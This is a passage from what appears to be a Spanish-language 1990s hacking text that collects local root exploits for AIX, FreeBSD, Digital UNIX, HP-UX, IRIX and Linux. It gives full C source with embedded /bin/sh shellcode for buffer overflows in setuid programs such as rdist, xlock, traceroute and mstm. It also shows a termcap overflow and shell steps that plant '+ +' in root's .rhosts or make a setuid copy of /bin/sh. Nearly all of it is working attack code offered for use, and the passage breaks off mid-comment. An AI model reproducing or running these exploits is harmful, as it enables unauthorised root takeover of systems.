  8157. 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
  8158. 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
  8159. 0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
  8160. 0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
  8161. 0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
  8162. 0x7c0903a6 , 0x4e800420, 0x0
  8163. };
  8164. /* disassembly
  8165. 7c0802a6        mfspr   r0,LR
  8166. 9421fbb0        stu     SP,-1104(SP) --get stack
  8167. 90010458        st      r0,1112(SP)
  8168. 3c60f019        cau     r3,r0,0xf019
  8169. 60632c48        lis     r3,r3,11336
  8170. 90610440        st      r3,1088(SP)
  8171. 3c60d002        cau     r3,r0,0xd002
  8172. 60634c0c        lis     r3,r3,19468
  8173. 90610444        st      r3,1092(SP)
  8174. 3c602f62        cau     r3,r0,0x2f62 --'/bin/sh\x01'
  8175. 6063696e        lis     r3,r3,26990
  8176. 90610438        st      r3,1080(SP)
  8177. 3c602f73        cau     r3,r0,0x2f73
  8178. 60636801        lis     r3,r3,26625
  8179. 3863ffff        addi    r3,r3,-1
  8180. 9061043c        st      r3,1084(SP) --terminate with 0
  8181. 30610438        lis     r3,SP,1080
  8182. 7c842278        xor     r4,r4,r4    --argv=NULL
  8183. 80410440        lwz     RTOC,1088(SP)
  8184. 80010444        lwz     r0,1092(SP) --jump
  8185. 7c0903a6        mtspr   CTR,r0
  8186. 4e800420        bctr              --jump
  8187. */
  8188.  
  8189. #define MAXBUF 600
  8190. unsigned int buf[MAXBUF];
  8191. unsigned int frame[MAXBUF];
  8192. unsigned int i,nop,mn=100;
  8193. int max=280;
  8194. unsigned int toc;
  8195. unsigned int eco;
  8196. unsigned int *pt;
  8197. char *t;
  8198. unsigned int reta; /* return address */
  8199. int corr=3400;
  8200. char *args[4];
  8201. char *newenv[8];
  8202.  
  8203.  
  8204. if (argc>1)
  8205.         corr = atoi(argv[1]);
  8206.  
  8207. pt=(unsigned *) &execv;
  8208. toc=*(pt+1);
  8209. eco=*pt;
  8210.  
  8211. if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )
  8212. {
  8213.         perror("Bad parameters");
  8214.         exit(1);
  8215. }
  8216.  
  8217. #define OO 7
  8218. *((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
  8219. *((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff);
  8220. *((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
  8221. *((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) &
  8222. 0x0000ffff);
  8223.  
  8224. reta=(unsigned) &buf[0]+corr;
  8225.  
  8226. for(nop=0;nop<mn;nop++)
  8227.  buf[nop]=0x4ffffb82;
  8228. strcpy((char*)&buf[nop],(char*)&code);
  8229. i=nop+strlen( (char*) &code)/4-1;
  8230.  
  8231. if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
  8232.         || !(reta && 0xff000000))
  8233. {
  8234. perror("Return address has zero");exit(5);
  8235. }
  8236.  
  8237. while(i++<max)
  8238.  buf[i]=reta;
  8239. buf[i]=0;
  8240.  
  8241. for(i=0;i<max-1;i++)
  8242.  frame[i]=reta;
  8243. frame[i]=0;
  8244.  
  8245. /* 4 vars 'cause the correct one should be aligned at 4bytes boundary */
  8246. newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
  8247. newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
  8248. newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
  8249. newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
  8250. newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
  8251. newenv[5]=createvar("HOME",(char*)&frame[0]);
  8252. newenv[6]=NULL;
  8253.  
  8254. args[0]=prog2;
  8255. puts("Start...");/*Here we go*/
  8256. execve(prog,args,newenv);
  8257. perror("Error executing execve \n");
  8258. /*      Georgi Guninski guninski@hotmail.com
  8259.         http://www.geocities.com/ResearchTriangle/1711*/
  8260. }
  8261.  
  8262. /*
  8263. -brute-script----------------------------------------------------------
  8264. #!/bin/ksh
  8265. L=200
  8266. O=40
  8267. while [ $L -lt 12000 ]
  8268. do
  8269. echo $L
  8270. L=`expr $L + 96`
  8271. ./a.out $L
  8272. done
  8273. */
  8274.  
  8275. ------------ FIN -------------------------------------------------------------
  8276.  
  8277.   OTRO PARA AIX
  8278.  
  8279. ------------ Codigo Fuente ---------------------------------------------------
  8280.  
  8281.         Existe una vulnerabilidad en el comando lquerypv de AIX. no estoy
  8282.   seguro de la version.
  8283.  
  8284.   /usr/sbin/lquerypv -h /etc/security/passwd
  8285.  
  8286.         Puedes sustituir /etc/security/passwd por cualquier otro fichero que
  8287.   no podamos leer (que no tengamos permiso de lectura por no ser r00t).
  8288.  
  8289. ------------ FIN -------------------------------------------------------------
  8290.  
  8291.   FREEBSD
  8292.  
  8293. ------------ Codigo Fuente ---------------------------------------------------
  8294.  
  8295. #include <stdio.h>
  8296. #include <stdlib.h>
  8297. #include <unistd.h>
  8298.  
  8299. #define DEFAULT_OFFSET        50
  8300. #define BUFFER_SIZE        256
  8301.  
  8302. long get_esp(void)
  8303. {
  8304.    __asm__("movl %esp,%eax\n");
  8305. }
  8306.  
  8307. main(int argc, char **argv)
  8308. {
  8309.    char *buff = NULL;
  8310.    unsigned long *addr_ptr = NULL;
  8311.    char *ptr = NULL;
  8312.  
  8313. /* so you dont have to disassemble it, here is the asm code:
  8314. start:
  8315. jmp     endofk0dez
  8316. realstart:
  8317. popl    %esi
  8318. leal    (%esi), %ebx
  8319. movl    %ebx, 0x0b(%esi)
  8320. xorl    %edx, %edx
  8321. movl    %edx, 7(%esi)
  8322. movl    %edx, 0x0f(%esi)
  8323. movl    %edx, 0x14(%esi)
  8324. movb    %edx, 0x19(%esi)
  8325. xorl    %eax, %eax
  8326. movb    $59, %al
  8327. leal    0x0b(%esi), %ecx
  8328. movl    %ecx, %edx
  8329. pushl   %edx
  8330. pushl   %ecx
  8331. pushl   %ebx
  8332. pushl   %eax
  8333. jmp     bewm
  8334. endofk0dez:
  8335. call    realstart
  8336. .byte   '/', 'b', 'i', 'n', '/', 's', 'h'
  8337. .byte   1, 1, 1, 1
  8338. .byte   2, 2, 2, 2
  8339. .byte   3, 3, 3, 3
  8340. bewm:
  8341. .byte   0x9a, 4, 4, 4, 4, 7, 4
  8342. */
  8343.    
  8344.    char execshell[] =
  8345.    "\xeb\x23"
  8346.    "\x5e"
  8347.    "\x8d\x1e"
  8348.    "\x89\x5e\x0b"
  8349.    "\x31\xd2"
  8350.    "\x89\x56\x07"
  8351.    "\x89\x56\x0f"
  8352.    "\x89\x56\x14"
  8353.    "\x88\x56\x19"
  8354.    "\x31\xc0"
  8355.    "\xb0\x3b"
  8356.    "\x8d\x4e\x0b"
  8357.    "\x89\xca"
  8358.    "\x52"
  8359.    "\x51"
  8360.    "\x53"
  8361.    "\x50"
  8362.    "\xeb\x18"
  8363.    "\xe8\xd8\xff\xff\xff"
  8364.    "/bin/sh"
  8365.    "\x01\x01\x01\x01"
  8366.    "\x02\x02\x02\x02"
  8367.    "\x03\x03\x03\x03"
  8368.    "\x9a\x04\x04\x04\x04\x07\x04";
  8369.    
  8370.    int i;
  8371.    int ofs = DEFAULT_OFFSET;
  8372.  
  8373.    /* if we have a argument, use it as offset, else use default */
  8374.    if(argc == 2)
  8375.       ofs = atoi(argv[1]);   
  8376.    /* print the offset in use */
  8377.    printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);
  8378.    
  8379.    buff = malloc(4096);
  8380.    if(!buff)
  8381.    {
  8382.       printf("can't allocate memory\n");
  8383.       exit(0);
  8384.    }
  8385.    ptr = buff;
  8386.    /* fill start of buffer with nops */
  8387.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  8388.    ptr += BUFFER_SIZE-strlen(execshell);
  8389.    /* stick asm code into the buffer */
  8390.    for(i=0;i < strlen(execshell);i++) 
  8391.       *(ptr++) = execshell[i];
  8392.    /* write the return addresses
  8393.    **
  8394.    ** return address                4
  8395.    ** ebp                    4
  8396.    ** register unsigned n            0
  8397.    ** register char *cp                0
  8398.    ** register struct syment *s            0
  8399.    **
  8400.    ** total: 8
  8401.    */
  8402.    addr_ptr = (long *)ptr;
  8403.    for(i=0;i < (8/4);i++)
  8404.       *(addr_ptr++) = get_esp() + ofs;
  8405.    ptr = (char *)addr_ptr;
  8406.    *ptr = 0;
  8407.    execl("/usr/bin/rdist", "rdist", "-d", buff, "-d", buff, NULL);
  8408. }
  8409.  
  8410. ------------ FIN -------------------------------------------------------------
  8411.  
  8412.   FREEBSD
  8413.  
  8414. ------------ Codigo Fuente ---------------------------------------------------
  8415.  
  8416. There is a BSD exploit that works on the termcap file. it has some entries
  8417. like this.
  8418.  
  8419.  telnet> env def TERM access
  8420.  telnet> env def TERMCAP /path/and/name/of/uploaded/file
  8421.  telnet> open victim.host.com
  8422.  
  8423. and the source code is here:
  8424. --------SNIP-----
  8425.  
  8426. #include <stdlib.h>
  8427. #include <unistd.h>
  8428. #include <fcntl.h>
  8429.  
  8430. #define filename "./termcap"
  8431. #define entry   "access|Gimme r00t:\\\n :"
  8432. #define bufsize 1300
  8433. #define default_offset 870    /* Should work...*/
  8434.  
  8435. char shellcode[] =
  8436.    "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
  8437.    "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
  8438.    "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
  8439.    "\x9a\x3e\x39\x29\x28\x39\x3c\xe8\xc6\xff\xff\xff/bin/sh";
  8440.  
  8441. long get_sp(void)
  8442. {
  8443.    __asm__("movl %esp, %eax\n");
  8444. }
  8445.  
  8446. int main(int argc, char *argv[]) {
  8447.    int i, fd, offs;
  8448.    long *bof_ptr;
  8449.    char *ptr, *buffer, *tempbuf;
  8450.  
  8451.    offs = default_offset;
  8452.  
  8453.    if(argc == 2) {
  8454.       printf("using offset: %d\n",atoi(argv[1]));
  8455.       offs = atoi(argv[1]);
  8456.    }
  8457.  
  8458.    if(!(buffer = malloc(bufsize))) {
  8459.       printf("can't allocate enough memory\n");
  8460.       exit(0);
  8461.    }
  8462.  
  8463.  
  8464.   if(!(tempbuf = malloc(bufsize+strlen(entry) + 50))) {
  8465.       printf("can't allocate enough memory\n");
  8466.       exit(0);
  8467.    }
  8468.  
  8469.    bof_ptr = (long *)buffer;
  8470.    for (i = 0; i < bufsize - 4; i += 4)
  8471.       *(bof_ptr++) = get_sp() - offs;
  8472.  
  8473.    ptr = (char *)buffer;
  8474.    for (i = 0; i < ((bufsize-strlen(shellcode)))/2 - 1; i++)
  8475.       *(ptr++) = 0x90;
  8476.  
  8477.    for (i = 0; i < strlen(shellcode); i++)
  8478.       *(ptr++) = shellcode[i];
  8479.  
  8480.    printf("Creating termcap file\n");
  8481.  
  8482.    snprintf(tempbuf, (bufsize+strlen(entry)+50), "%s%s:\n", entry,
  8483. buffer);
  8484.    fd = open(filename, O_WRONLY|O_CREAT, 0666);
  8485.    write (fd, tempbuf, strlen(tempbuf));
  8486.    close(fd);
  8487. }
  8488.  
  8489. ------------ FIN -------------------------------------------------------------
  8490.  
  8491.   DIGITAL CON DBX
  8492.  
  8493. ------------ Codigo Fuente ---------------------------------------------------
  8494.  
  8495. If you run dbx (tested on 3.11.10) on a setuid root program that you have read
  8496. access to, the program will core dump and create a root owned 600 perm core 
  8497. in the current directory. You might have to run dbx one or two times to get it
  8498. to work.. The message you are looking for is:
  8499.  
  8500. dbx version 3.11.10
  8501. Type 'help' for help.
  8502.  
  8503. warning: /bin/crontab has no symbol table -- very little is supported
  8504. without it
  8505.  
  8506. Could not attach to process 10112
  8507.  
  8508. cannot run program
  8509. Exiting due to error during startup
  8510.  
  8511. Now, this core dump will follow symlinks.. and using the trick mentioned
  8512. earlier with embedding + + in a core dump, you can easily grab root.
  8513.  
  8514. ln -s /.rhosts core
  8515. BOB42="
  8516.  
  8517. + +
  8518.  
  8519. "
  8520. export BOB42
  8521. dbx /bin/crontab
  8522. rsh -l root localhost /bin/sh -i
  8523.  
  8524. ------------ FIN -------------------------------------------------------------
  8525.  
  8526.   HP-UX
  8527.  
  8528. ------------ Codigo Fuente ---------------------------------------------------
  8529.  
  8530. /***
  8531.  *
  8532.  * HP-UX /usr/etc/vhe/vhe_u_mnt bug exploit.
  8533.  *
  8534.  * This bug is exhibited in all versions of HP-UX that contain
  8535.  * /usr/etc/vhe/vhe_u_mnt setuid to root.
  8536.  *
  8537.  * This program written by pluvius@io.org
  8538.  * The exploit code itself written by misar@rbg.informatik.th-darmstadt.de
  8539.  *
  8540.  * I found that the exploit code didn't always work due to a race between
  8541.  * the child and the parent, and that a link() called failed due to
  8542.  * the fact that user directories and the /tmp are in different file systems
  8543.  * so you must create a symlink.
  8544.  * I added in a call to alarm() so that the timing between the two processes
  8545.  * is ok..
  8546.  *
  8547.  ***/
  8548. #include <stdio.h>
  8549. #include <stdlib.h>
  8550. #include <pwd.h>
  8551. #include <string.h>
  8552. #include <unistd.h>
  8553. #include <signal.h>
  8554. #include <netdb.h>
  8555. #include <sys/wait.h>
  8556. #include <sys/stat.h>
  8557. #include <sys/utsname.h>
  8558.  
  8559. #define BUGGY_PROG "/usr/etc/vhe/vhe_u_mnt"
  8560. #define NAME "<defunct>"
  8561.  
  8562. int test_host()
  8563. { struct utsname name;
  8564.    uname(&name);
  8565.    return !strcmp(name.sysname,"HP-UX");
  8566. }
  8567. int check_mount()
  8568. { struct stat my_buf;
  8569.    if (stat(BUGGY_PROG, &my_buf))
  8570.       return 0;
  8571.    return !((my_buf.st_mode & S_ISUID) != S_ISUID);
  8572. }
  8573. void pause_handler()
  8574. {
  8575.    signal(SIGALRM,pause_handler);
  8576. }
  8577. int rhost_user(user)
  8578. char *user;
  8579. {
  8580.   struct passwd *info;
  8581.   char   homedir[80];
  8582.   int fd[2];
  8583.   int procno;
  8584.   struct stat my_buf;
  8585.   int fsize;
  8586.  
  8587.    info = getpwnam(user);
  8588.    if (info==NULL) {
  8589.       fprintf(stderr,"ERROR: Unknown user %s\n",user);
  8590.       exit(-3);
  8591.    }
  8592.    strcpy(homedir,info->pw_dir);
  8593.    if (homedir[strlen(homedir)-1] != '/')
  8594.       strcat(homedir,"/");
  8595.    strcat(homedir,".rhosts");
  8596.  
  8597.    signal(SIGALRM,pause_handler);
  8598.    memset(my_buf,0,sizeof(my_buf));
  8599.    stat(homedir,&my_buf);
  8600.    fsize = my_buf.st_size;
  8601.  
  8602.   /* now the exploit code... slightly modified.. but mostly from the source */
  8603.   /* by misar@rbg.informatik.th-darmstadt.de                                */
  8604.    pipe(fd);
  8605.    if (!(procno=fork())) {
  8606.       close(0);
  8607.       dup(fd[0]);
  8608.       close(fd[1]);
  8609.       close(1);
  8610.       close(2);
  8611.       alarm(2); /* wait for other process */
  8612.       nice(5);
  8613.       execl(BUGGY_PROG,NAME,NULL);
  8614.    } else {
  8615.     FILE *out;
  8616.     char listfile[25];
  8617.     char mntfile[25];
  8618.     struct stat dummy;
  8619.  
  8620.       close(1);
  8621.       dup(fd[1]);
  8622.       close(fd[0]);
  8623.       write(1,"+\n",2);
  8624.       sprintf(listfile,"/tmp/vhe_%d",procno+2);
  8625.       sprintf(mntfile,"/tmp/newmnt%d",procno+2);
  8626.       while (stat(listfile,&dummy));
  8627.       unlink(listfile);
  8628.       out=fopen(listfile,"w");
  8629.       fputs("+ +\n",out);
  8630.       fclose(out);
  8631.       unlink(mntfile);
  8632.       symlink(homedir,mntfile);
  8633.       waitpid(procno,NULL,0);
  8634.    }
  8635.    stat(homedir,&my_buf);
  8636.    return (fsize != my_buf.st_size);
  8637. }
  8638.  
  8639. void main(argc,argv)
  8640. int   argc;
  8641. char *argv[];
  8642. {
  8643.   int i;
  8644.   int rhost_root = 0;
  8645.   char userid[10];
  8646.  
  8647.    if (!test_host()) {
  8648.       fprintf(stderr,"ERROR: This bug is only exhibited by HP-UX\n");
  8649.       exit(-1);
  8650.    }
  8651.  
  8652.    if (!check_mount()) {
  8653.       fprintf(stderr,
  8654.               "ERROR: %s must exist and be setuid root to exploit this bug\n",
  8655.               BUGGY_PROG);
  8656.       exit(-2);
  8657.    }
  8658.  
  8659.    for (i=0;(i<5)&&(!rhost_root);i++) {
  8660.       fprintf(stderr,"Attempting to .rhosts user root..");
  8661.       if (!rhost_user("root")) {
  8662.          fprintf(stderr,"failed.\n");
  8663.       } else {
  8664.          fprintf(stderr,"succeeded\n");
  8665.          rhost_root = 1;
  8666.       }
  8667.    }
  8668.  
  8669.    if (!rhost_root) {
  8670.       /* failed to rhost root, try user 'bin' */
  8671.       fprintf(stderr,"Too many failures.. trying user bin...");
  8672.       if (!rhost_user("bin")) {
  8673.          fprintf(stderr,"failed.\n");
  8674.          exit(-4);
  8675.       }
  8676.       fprintf(stderr,"succeeded.\n");
  8677.       strcpy(userid,"bin");
  8678.    } {
  8679.       strcpy(userid,"root");
  8680.    }
  8681.    fprintf(stderr,"now type: \"remsh localhost -l %s csh -i\" to login\n",
  8682.            userid);
  8683. }
  8684.  
  8685. ------------ FIN -------------------------------------------------------------
  8686.  
  8687.   OTRO PARA HP
  8688.  
  8689. ------------ Codigo Fuente ---------------------------------------------------
  8690.  
  8691. /* SOD /usr/diag/bin/[cm]stm buffer overflow */
  8692.  
  8693. main()
  8694. {
  8695. char buf[500];
  8696.  
  8697. strcpy(buf,"\x41\x41\x34\x01\x01\x02\x08\x22\x04\x01\x60\x20\x02\xa6\x60\x20
  8698. \x02\xac\xb4\x3a\x02\x98\x34\x16\x01\x76\x34\x01\x02\x76\x08\x36\x02\x16\x0
  8699. 8\x21\x02\x80\x20\x20\x08\x01\xe4\x20\xe0\x08\x08\x21\x02\x80\x43\x43\x43\x
  8700. 43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\
  8701. x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x4
  8702. 3\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x
  8703. 43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\
  8704. x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x4
  8705. 3\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x
  8706. 43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\
  8707. x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43\x4
  8708. 3\x43\x43\x43\x43\x43\x2f\x62\x69\x6e\x2f\x73\x68\x2e\x2d\x69\x2e\x44\x44\x4
  8709. 4\x44\x44\x7b\x03\x30\x1b");
  8710.  
  8711. execl("/usr/diag/bin/mstm","/usr/diag/bin/mstm","-l",buf,(char *)0);
  8712. /* Either-or, same overflow */
  8713. execl("/usr/diag/bin/cstm","/usr/diag/bin/cstm","-l",buf,(char *)0);
  8714. }
  8715.  
  8716. ------------ FIN -------------------------------------------------------------
  8717.  
  8718.   IRIX 6.2-6.3
  8719.  
  8720. ------------ Codigo Fuente ---------------------------------------------------
  8721.  
  8722. Irix buffer overflow in /usr/bin/X11/xlock
  8723. The exploit as posted works on Irix 6.3. To get it to work on 6.2,
  8724. either change OFFSET from 0x118 to 0x160, or pass the program '20' as a
  8725. parameter.
  8726.  
  8727. Note that the shell spawned as a result of this exploit has uid=0,
  8728. euid=youruserid. To make your euid=0 you'll need a program like the
  8729. following:
  8730.  
  8731. void main(void)
  8732. {
  8733.     setuid(0,0);
  8734.     execl("/bin/sh", "sh", 0);
  8735. }
  8736.  
  8737. Regards,
  8738.  
  8739.  David Hedley (hedley@cs.bris.ac.uk)
  8740.  
  8741. ------------------- cut here -------------------------
  8742.  
  8743. /* /usr/bin/X11/xlock exploit by DCRH 25/5/97
  8744.  *
  8745.  * Tested on: R5000 O2 (Irix 6.3)
  8746.  *            R8000 Power Challenge (Irix64 6.2)
  8747.  *
  8748.  * For Irix 6.2, change OFFSET to 0x160, or pass '20' as a parameter
  8749.  *
  8750.  * Exploit doesn't work on Irix 5.x due to stack position
  8751.  *
  8752.  * compile as: cc -n32 xlock.c
  8753.  */
  8754.  
  8755. #include <stdio.h>
  8756. #include <stdlib.h>
  8757. #include <string.h>
  8758. #include <sys/types.h>
  8759. #include <unistd.h>
  8760.  
  8761. #define NUM_ADDRESSES   800
  8762. #define BUF_LENGTH      80
  8763. #define EXTRA           190
  8764. #define OFFSET          0x118    /* 0x160 for Irix 6.2 */
  8765. #define GP_OFFSET       32472
  8766. #define IRIX_NOP        0x03e0f825    /* move $ra,$ra */
  8767.  
  8768. #define u_long unsigned
  8769.  
  8770. u_long get_sp_code[] = {
  8771.     0x03a01025,         /* move $v0,$sp         */
  8772.     0x03e00008,         /* jr $ra               */
  8773.     0x00000000,         /* nop                  */
  8774. };
  8775.  
  8776. u_long irix_shellcode[] = {
  8777.     0x24041234,         /* li $4,0x1234         */
  8778.     0x2084edcc,         /* sub $4,0x1234        */
  8779.     0x0491fffe,         /* bgezal $4,pc-4       */
  8780.     0x03bd302a,         /* sgt $6,$sp,$sp       */
  8781.     0x23e4012c,         /* addi $4,$31,264+36   */
  8782.     0xa086feff,         /* sb $6,-264+7($4)     */
  8783.     0x2084fef8,         /* sub $4,264           */
  8784.     0x20850110,         /* addi $5,$4,264+8     */
  8785.     0xaca4fef8,         /* sw $4,-264($5)       */
  8786.     0xaca6fefc,         /* sw $4,-260($5)       */
  8787.     0x20a5fef8,         /* sub $5, 264          */
  8788.     0x240203f3,         /* li $v0,1011          */
  8789.     0x03ffffcc,         /* syscall 0xfffff      */
  8790.     0x2f62696e,         /* "/bin"               */
  8791.     0x2f7368ff,         /* "/sh"                */
  8792. };
  8793.  
  8794. char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];
  8795.  
  8796. void main(int argc, char **argv)
  8797. {
  8798.     char *env[] = {NULL};
  8799.     u_long targ_addr, stack, tmp;
  8800.     u_long *long_p;
  8801.     int i, code_length = strlen((char *)irix_shellcode)+1;
  8802.     u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;
  8803.  
  8804.     stack = get_sp();
  8805.  
  8806.     if (stack & 0x80000000) {
  8807.         printf("Recompile with the '-32' option\n");
  8808.         exit(1);
  8809.     }
  8810.  
  8811.     long_p =(u_long *)  buf;
  8812.     targ_addr = stack + OFFSET;
  8813.  
  8814.     if (argc > 1)
  8815.         targ_addr += atoi(argv[1]) * 4;
  8816.  
  8817.     if (targ_addr + GP_OFFSET > 0x80000000) {
  8818.         printf("Sorry - this exploit for Irix 6.x only\n");
  8819.         exit(1);
  8820.     }
  8821.  
  8822.     tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & 
  8823. ~3;
  8824.  
  8825.     while ((tmp & 0xff000000) == 0 ||
  8826.            (tmp & 0x00ff0000) == 0 ||
  8827.            (tmp & 0x0000ff00) == 0 ||
  8828.            (tmp & 0x000000ff) == 0)
  8829.         tmp += 4;
  8830.  
  8831.     for (i = 0; i < NUM_ADDRESSES/sizeof(u_long); i++)
  8832.         *long_p++ = tmp;
  8833.  
  8834.     for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
  8835.         *long_p++ = IRIX_NOP;
  8836.  
  8837.     for (i = 0; i < code_length/sizeof(u_long); i++)
  8838.         *long_p++ = irix_shellcode[i];
  8839.  
  8840.     tmp = (targ_addr + GP_OFFSET + 32/* + NUM_ADDRESSES/2 */) & ~3;
  8841.  
  8842.     for (i = 0; i < EXTRA / sizeof(u_long); i++)
  8843.         *long_p++ = (tmp << 16) | (tmp >> 16);
  8844.  
  8845.     *long_p = 0;
  8846.  
  8847.     printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);
  8848.  
  8849.     execle("/usr/bin/X11/xlock", "xlock", "-name", buf, 0, env);
  8850.     perror("execl failed");
  8851. }
  8852.  
  8853. ------------ FIN -------------------------------------------------------------
  8854.  
  8855.   IRIX 5.3-6.2
  8856.  
  8857. ------------ Codigo Fuente ---------------------------------------------------
  8858.  
  8859. PROBLEM. systour
  8860. AFFECTS. SGI IRIX 5.3 and 6.2 with the systour package available.
  8861. REQUIRED. account on server
  8862. RISK. root compromise, denial of service, etc.
  8863.  
  8864. ---
  8865.  
  8866. Exploit:
  8867.  
  8868. irst, we set up an environment for running inst. dryrun is set to true
  8869. because we are considerate environmentalists.
  8870.  
  8871. $ rbase=$HOME; export rbase
  8872. $ mkdir -p $HOME/var/inst
  8873. $ echo "dryrun: true" > $HOME/.swmgrrc
  8874.  
  8875. These three lines should be very familiar to all exploitors.
  8876.  
  8877. $ cp -p /bin/sh /tmp/foobar
  8878. $ printf '#\!/bin/sh\nchmod 4777 /tmp/foobar\n' > $HOME/var/inst/.exitops
  8879. $ chmod a+x $HOME/var/inst/.exitops
  8880.  
  8881. Now run it.
  8882.  
  8883. $ /usr/lib/tour/bin/RemoveSystemTour
  8884. Executing outstanding exit-commands from previous session ..
  8885. Successfully completed exit-commands from previous session.
  8886. Reading installation history
  8887. Checking dependencies
  8888. ERROR : Software Manager: automatic installation failed: New target
  8889. (nothing installed) and no distribution.
  8890.  
  8891. ---
  8892.  
  8893. DISCUSSION. The easiest solution is to replace RemoveSystemTour with
  8894. a binary that checks the password. However, RemoveSystemTour may not be
  8895. the only way to access inst, and so these general recommendations apply:
  8896.  
  8897. inst should check UID and lock configuration options when called non-
  8898. interactively from versions and with euid 0. inst also has a race
  8899. condition on the file /tmp/shPID0, the shell script it creates to make the
  8900. appropriate directory (rbase). inst should verify the variables it
  8901. uses--by relying on an external shell script, environment variables, IFS,
  8902. etc. can be tampered with. Finally, inst will happily overwrite logfiles
  8903. specified in the .swmgrrc file and creat() the shell script over anything.
  8904.  
  8905. ------------ FIN -------------------------------------------------------------
  8906.  
  8907.   LINUX (pongo varios ya que hay muchos ...)
  8908.  
  8909. ------------ Codigo Fuente ---------------------------------------------------
  8910.  
  8911. /*
  8912.  
  8913.    Just Your Standard EGGSHELL Proggie:
  8914.    traceroute buffer overflow exploit for RedHat Linux 5.0
  8915.    mostly ripped from Aleph One <aleph1@underground.org>
  8916.    Wilton Wong
  8917.  
  8918.    wwong@blackstar.net
  8919.  
  8920.    gcc -o trace_shell trace_shell.c
  8921.  
  8922. */
  8923.  
  8924. #include <stdlib.h>
  8925.  
  8926. #define DEFAULT_OFFSET                 0
  8927. #define DEFAULT_BUFFER_SIZE            1019
  8928. #define DEFAULT_EGG_SIZE               2048
  8929. #define NOP                            0x90
  8930.  
  8931. char shellcode[] =
  8932.         "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  8933.         "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  8934.         "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  8935.  
  8936. unsigned long get_sp(void) {
  8937.  
  8938.    __asm__("movl %esp,%eax");
  8939. }
  8940.  
  8941. void main(int argc, char *argv[]) {
  8942.   char *buff, *ptr, *egg;
  8943.   long *addr_ptr, addr;
  8944.   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  8945.   int i, eggsize=DEFAULT_EGG_SIZE;
  8946.   if (argc > 1) bsize  = atoi(argv[1]);
  8947.   if (argc > 2) offset = atoi(argv[2]);
  8948.   if (argc > 3) eggsize = atoi(argv[3]);
  8949.   if (!(buff = malloc(bsize))) {
  8950.     printf("Can't allocate memory.\n");
  8951.     exit(0);
  8952.   }
  8953.   if (!(egg = malloc(eggsize))) {
  8954.     printf("Can't allocate memory.\n");
  8955.     exit(0);
  8956.   }
  8957.   addr = get_sp() - offset;
  8958.   printf("Using address: 0x%x\n", addr);
  8959.   ptr = buff;
  8960.   addr_ptr = (long *) ptr;
  8961.   for (i = 0; i < bsize; i+=4)
  8962.     *(addr_ptr++) = addr;
  8963.   ptr = egg;
  8964.   for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
  8965.     *(ptr++) = NOP;
  8966.   for (i = 0; i < strlen(shellcode); i++)
  8967.     *(ptr++) = shellcode[i];
  8968.   buff[bsize - 1] = '\0';
  8969.   egg[eggsize - 1] = '\0';
  8970.   memcpy(egg,"EGG=",4);
  8971.   putenv(egg);
  8972.   memcpy(buff,"RET=",4);
  8973.   putenv(buff);
  8974.   printf("Now run: /usr/sbin/traceroute $RET\n");
  8975.   system("/bin/bash");
  8976. }
  8977.  
  8978. ------------ FIN -------------------------------------------------------------
  8979.  
  8980.   Ahora uno para SLACKWARE:
  8981.  
  8982. ------------ Codigo Fuente ---------------------------------------------------
  8983.  
  8984. /*
  8985.   SLACKWARE Traceroute Buffer OverFlow -- (c) shit-head (w0nky@usa.net) 
  8986. 1997
  8987.   Created: 8/15/97
  8988.  
  8989.   Give thanks to Solar Designer for his su overflow, this is based
  8990.   on that peice of work.
  8991.  
  8992.   This is for educational purposes only, in no way am I responsible 
  8993.   for what you do with this.  This should be used by sys admins, or
  8994.   people who have permission of the admin to run it to see if this
